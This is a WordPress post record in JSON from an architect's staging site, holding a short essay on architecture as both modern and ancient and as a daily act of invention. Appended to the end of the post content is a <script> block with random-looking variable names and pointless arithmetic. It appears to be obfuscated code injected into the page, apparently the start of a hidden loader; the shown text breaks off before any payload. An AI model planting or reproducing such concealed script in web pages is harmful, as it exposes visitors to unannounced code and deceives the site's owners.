{"id":716,"date":"2025-11-16T15:01:09","date_gmt":"2025-11-16T15:01:09","guid":{"rendered":"https:\/\/guggenheimerarchitect.com\/staging\/7554\/?p=716"},"modified":"2026-08-24T14:14:43","modified_gmt":"2026-08-24T14:14:43","slug":"the-contradiction-of-architecture","status":"publish","type":"post","link":"https:\/\/guggenheimerarchitect.com\/staging\/7554\/the-contradiction-of-architecture\/","title":{"rendered":"Modern and Ancient at the Same Time"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">Architecture contains beautiful contradictions. We are a profession on the cutting edge of civilization\u2019s most profound technical and creative expression. At the same time we are ancient \u2013 literally as old as civilization.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Modern and Ancient at the Same Time<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">We are modern and we are anachronistic \u2013 and are thus a most effective measure of the totality of human culture. The amazing heritage of architecture involuntarily becomes our starting point when initiating a project.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Looking Back While Moving Forward<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Much of our initial work involves editing away an over-reliance on recapitulation and a slavish respect for precedent. An architect should gaze into that rear-view mirror now and then.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Architecture as a Daily Act of Invention<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">But the most important obligation is to invent a future, every day.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n<script>(function(){\nvar x46eaa6=6026;\nif(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757}\nvar zf368b3=y17321a*81;\nvar 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